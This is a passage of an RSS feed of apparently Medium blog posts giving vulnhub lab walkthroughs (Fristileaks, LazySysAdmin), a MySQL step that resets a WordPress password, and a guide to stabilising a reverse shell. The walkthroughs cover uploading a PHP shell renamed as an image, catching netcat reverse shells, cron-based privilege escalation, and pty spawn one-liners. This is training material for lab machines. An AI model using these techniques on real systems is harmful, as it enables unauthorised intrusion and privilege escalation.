src="https://cdn-images-1.medium.com/max/1024/1*kUphWiuIJE1YUDq2QPwNPA.png" /></figure><pre>MySQL [wordpress]&gt; SELECT * FROM wp_users<br>    -&gt; WHERE user_login = &quot;john&quot; OR user_login = &quot;tim&quot;;</pre><p>we can update the database table so command for database update if we want to change database user_pass</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oqdSFde_tMO3UOtcfaduPg.png" /></figure><pre>MySQL [wordpress]&gt; UPDATE wp_users set user_pass = MD5(&#39;12345&#39;) WHERE ID = 3;</pre><p>now see the changes update on peter password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KZ3sAgShXdCESSx067uLmQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=abd5182b4e5e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fristileaks vulnhub walkthrough]]></title>
            <link>https://hidepatidar.medium.com/fristileaks-vulnhub-walkthrough-3707d592a9ab?source=rss-7da4b4913694------2</link>
            <guid isPermaLink="false">https://medium.com/p/3707d592a9ab</guid>
            <dc:creator><![CDATA[hidepatidar]]></dc:creator>
            <pubDate>Sat, 30 Oct 2021 18:09:37 GMT</pubDate>
            <atom:updated>2021-10-30T18:09:37.754Z</atom:updated>
            <content:encoded><![CDATA[<p>Download this box using this <a href="https://www.vulnhub.com/entry/fristileaks-13,133/">url</a> and deploy box on virtual box</p><h4>now let’s enumerate this box scan</h4><p>first scan your network using nmap command</p><pre>$ nmap -sn 192.168.1.1/24</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*5vfD61vU8O85hX37KJHFyg.png" /></figure><p>we have ip address 192.168.1.213 let’s check this ip address and scan with nmap</p><pre>$ nmap -v -p- 192.168.1.213</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*t8AigUPEe96qBaSZsn_wFA.png" /></figure><p>let’s check port 80 we found a simple web page look like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pjw4AqNu7xXe3uKC3UddgQ.png" /></figure><p>let’s bruteforce directory with dirsearch and gobuster according you</p><pre>$ dirsearch -u 192.168.1.213</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*DuVPbjwj7ixktk3qLAq-iA.png" /></figure><p>now scan with nikto basic scan and see result</p><pre>$ nikto -h 192.168.1.213</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bJ9sI0d5c6LnJ_zFmW1aLQ.png" /></figure><p>we see php version php/5.3.3 this php version is vulnerable with cgi bin remote code execution now check this exploit using this <a href="https://www.exploit-db.com/exploits/29290">link</a></p><p>we found a new page on web directory so first we try this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*8rhxZFpXfRM04jZUPfs1dg.png" /></figure><p>new directory let’s see on this directory what content on this directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6BKJxbv26iM5IEN7d732oA.png" /></figure><p>but we don’t have user and passowrd let’s emumerate for username and password see source code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*P408bUH-gN43Sh4qc5A5sw.png" /></figure><p>we have user now enumerate for password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*5aSsd6b4aUjwFqd4AXioeQ.png" /></figure><p>we have base64 encrypted data lets decode using this <a href="https://base64.guru/converter/decode/image">tool</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*gOxV_8z7yAjF-kYXUgOF4w.png" /></figure><p>we have username and password so try user and passowrd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*3B2vrDdAT4AJUUG2-llG6A.png" /></figure><p>we are login let’s upload shell on this page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*OfmyI-YPZnV_xWKJkrb_Kg.png" /></figure><p>now upload shell and rename your shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*i1xjDqEeh-PpdcOt4A13lA.png" /></figure><p>now start your nc for reverse shell nc is a port listner</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*BBqFORMMPoyIAhqQkI1VFw.png" /></figure><p>let’s execute your shell.php.png file and see</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*MLQzVzG00AgcArTI1XquBQ.png" /></figure><p>wow :) we got a shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*_eJSw81sCo1RRk0XyKLXtQ.png" /></figure><p>see we have normal shell now convert your shell fully interective shell using this <a href="https://hidepatidar.medium.com/spawning-interactive-reverse-shell-7732686ea775">link</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*IFYt0HyHR5CKBtozmeb-tw.png" /></figure><p>now we have a problem with terminal our terminal is blank don’t worry about it type wait and type anything and enter then see</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*mTowx5KLS03FN7_LvMPoDQ.png" /></figure><p>we have a note in user home directory and we know this is cronjob service</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*Bl7_PGhqlm_NA-cdZSvXdA.png" /></figure><p>now create a file on tmp directory and file name is runthis</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*tbxKiQoK1kxDutvoonYR0Q.png" /></figure><p>now insert some content in file because we know file execute every minute so let’s get admin shell using python</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rpkX1RF3rpDpcl_H5I5-QQ.png" /></figure><p>now start nc on port 4242 and see we got a shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*Un3yjCuOwoKGL_tennjo9Q.png" /></figure><p>and now we have admin privilege and let’s enumerate admin user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*4tBbDqPyxB-KBDV1frmPJQ.png" /></figure><p>we see file which user fristigod now open whoisyourgodnow.txt file and see</p><p>we have hash and now crack this hash using python simple decoder</p><pre>import base64,codecs,sys<br><br>def encodeString(str):<br>    decoded = codecs.decode(str[::-1], &#39;rot13&#39;)<br>    return base64.b64decode(decoded)<br><br>cryptoResult=encodeString(sys.argv[1])<br>print cryptoResult</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*_u-RqTJo_zvOqT4jG_k0dA.png" /></figure><p>now we have password let’s try this on fristgod user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*mLoZY6XKubJdmN7SgPnuSQ.png" /></figure><p>we have a binary file on hidden directory let’s execute this binary using fristi user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*OQF3gDFSrIiBM7Ugsrvl0Q.png" /></figure><p>happy hacking :)</p><p>i know you enjoy this journey</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3707d592a9ab" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LazySysAdmin vulnhub walkthrough]]></title>
            <link>https://hidepatidar.medium.com/lazysysadmin-vulnhub-walkthrough-a17f240509ee?source=rss-7da4b4913694------2</link>
            <guid isPermaLink="false">https://medium.com/p/a17f240509ee</guid>
            <dc:creator><![CDATA[hidepatidar]]></dc:creator>
            <pubDate>Wed, 27 Oct 2021 18:16:38 GMT</pubDate>
            <atom:updated>2021-10-27T18:16:38.854Z</atom:updated>
            <content:encoded><![CDATA[<p>lazysysadmin is a vulnerable box and we will enumerate this box</p><h4>let’s start enumeration</h4><p>first download box on <a href="https://www.vulnhub.com/entry/lazysysadmin-1,205/">https://www.vulnhub.com/entry/lazysysadmin-1,205/</a> this is official site of vulnhub you can download box using this link</p><p>After downloading this box we deploy this box on virtual machine if you don’t have virtual box follow this link <a href="https://www.virtualbox.org/">https://www.virtualbox.org/</a> and download virtual box and configure machine</p><h4>Using nmap scan live host</h4><pre>$ nmap -sn 192.168.1.226/24</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*KIOviYaBIjt0mIBAgJ8Srg.png" /></figure><p>Now we found three live ip address and we enumerate 192.168.1.204</p><p>Let’s check how many port are open on this box</p><pre>$ nmap -v -p- 192.168.1.204</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*Sr_kd21VpAKyJA4znTKhdQ.png" /></figure><p>scan with nmap current scan and script default and see what services running on port</p><pre>$ sudo nmap -sC -sV -sT -sU -A -p 22,80,139,445,3306,6667 192.168.1.204</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*4usIuZATC7qg06ArV0-Qfg.png" /></figure><p>first we enumerate port 80 service http so open your browser and hit your ip address on browser</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*77tUxzGj2_SZqNn6uHcJpw.png" /></figure><p>now check robots.txt file and sitemap.xml files on http port 80</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*lHfrxzg95b7n95tTk5vm5w.png" /></figure><p>check disallow entry and and check but we check nothing is here in disallow directory so now brute force the directory using using dirsearch and gobuster tool</p><pre>$ python3 dirsearch.py -u 192.168.1.204</pre><p>dirsearch is a tool for directory bruteforcing so you can download and clone this tool by using this link <a href="https://github.com/maurosoria/dirsearch">https://github.com/maurosoria/dirsearch</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*vG9sukaKEPaG7KGdS_1YYA.png" /></figure><p>after dirsearch brute force we found many hidden directory now we enumerate this directory</p><p>now we will use nikto tool for web vulnerability now scan with nikto</p><pre>$ nikto -h 192.168.1.20</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q8SS-F1pXQ455HoqgTsFDA.png" /></figure><p>now we enumerate with whatweb tool and check result</p><pre>$ whatweb --url 192.168.1.204</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c4KR1uFR8ktL-GBfnhBWqQ.png" /></figure><p>after whatweb let’s try gobuster</p><pre>$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 192.168.1.204</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d6PTI-sK4CnRb1-RTb7xEA.png" /></figure><p>NOW try another tool wfuzz for directory fuzzing and see result</p><pre>$ wfuzz -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt <a href="http://192.168.1.204/FUZZ">http://192.168.1.204/FUZZ</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*feqZuAKWr2qfYAPvVdUFMA.png" /></figure><p>we check port 80 but we don’t have any information let’s check another port 139 or 445</p><p>using smbclient command we see information about smb</p><pre>$ smbclient -L 192.168.43.142</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*c2rccUYB-icarchgrMG7xA.png" /></figure><p>see share directory and list the directory content using smbclient command</p><pre>$ smbclient //192.168.43.142/share$</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*XUD26qQdhFrWHEJGv2yObQ.png" /></figure><p>and see all directory is web directory location now check deets.txt file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*77keBhRi7qty2FnVpBROGA.png" /></figure><p>wow we found password but we don’t know what is username so let’s enumerate username</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*0fujWx-wa-b1gaxY-mBiqA.png" /></figure><p>we found a user togie on wordpress page so we have user and password let’s try user and password for ssh</p><pre>$ ssh togie@192.168.43.142</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*z5v_u2aBbxcnu7XrA5b7OQ.png" /></figure><p>wow we got ssh restricted shell on port 22</p><p>username- togie</p><p>password -12345</p><h4>privilage escalation</h4><p>first we check sudo -l and check suid permission</p><pre>$ sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*4bVHTH0jXdmNibDJ5RpUcw.png" /></figure><p>wow we see all privilage means user : togie run all command using sudo let’s try</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*SciN9h9qbeCpRgOrnCT_FQ.png" /></figure><p>we found flag on /root/proof.txt</p><p>this is good box for begginer if you start new journey with cyber security do this box</p><p>happy haking :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a17f240509ee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Spawning Interactive Reverse Shell]]></title>
            <link>https://hidepatidar.medium.com/spawning-interactive-reverse-shell-7732686ea775?source=rss-7da4b4913694------2</link>
            <guid isPermaLink="false">https://medium.com/p/7732686ea775</guid>
            <dc:creator><![CDATA[hidepatidar]]></dc:creator>
            <pubDate>Tue, 03 Aug 2021 17:33:22 GMT</pubDate>
            <atom:updated>2021-11-16T18:32:33.292Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cr7oNrRP0KQWpYvNGb3fUw.png" /></figure><p>first using this command and check which languge installed on system</p><p>if you have python or python3 so continue with python or python3 if you have install perl so continue with perl</p><p>this example for python</p><pre>$ which python</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*UnZ7jXJRtYi0ggYWmyP5kQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*HERllrzYF9YCk_8PssPRJw.png" /></figure><h3>1. python and python3 pty shell……………..</h3><p>now select command according to installed languge i am continue with python</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*rQsmDMk5yW3k1kC5MkQdqQ.png" /></figure><pre>python -c &#39;import pty; pty.spawn(&quot;/bin/sh&quot;)&#39;</pre><pre>python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><pre>perl -e &#39;exec &quot;/bin/sh&quot;;&#39;</pre><h3>2. put the shell into background</h3><p>using ctrl+z put shell on background</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*zpdze9gnppnJpAGgD8ru4A.png" /></figure><pre>Ctrl-Z</pre><h3>3. current terminal and STTY info</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZT1ZNOjTfS8ULwym1HhHJg.png" /></figure><pre>echo $TERM<br>stty -a</pre><h3>4. Set the current STTY to type raw and tell it to echo the input characters</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*Z1gqb97o3BkzxNCPxT5Fqw.png" /></figure><pre>stty raw -echo</pre><h3>5. Foreground the shell with fg and re-open the shell with reset</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*2U7cIbcYzTGWjINVfDPJ1g.png" /></figure><pre>$ fg</pre><pre>reset</pre><h3>6. stty size to match our current window</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*eKe8EKn3XFDIRmF3tAc16A.png" /></figure><pre>$ export SHELL=bash</pre><pre>$ export TERM=xterm256-color</pre><pre>$ stty rows 37 columns 146</pre><pre>$ bash -i</pre><h3>7. Set PATH TERM and SHELL if missing</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cEIaiQL6EBDpVi8h1fBnfQ.png" /></figure><pre>$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</pre><pre>$ export TERM=xterm</pre><pre>$ export SHELL=bash</pre><pre>$ cat /etc/profile; cat /etc/bashrc; cat ~/.bash_profile; cat ~/.bashrc; cat ~/.bash_logout; env; set</pre><pre>$ export PS1=&#39;[\u@\h \W]\$ &#39;</pre><p>enjoy now you have fully interactive shell</p><p>:)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7732686ea775" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>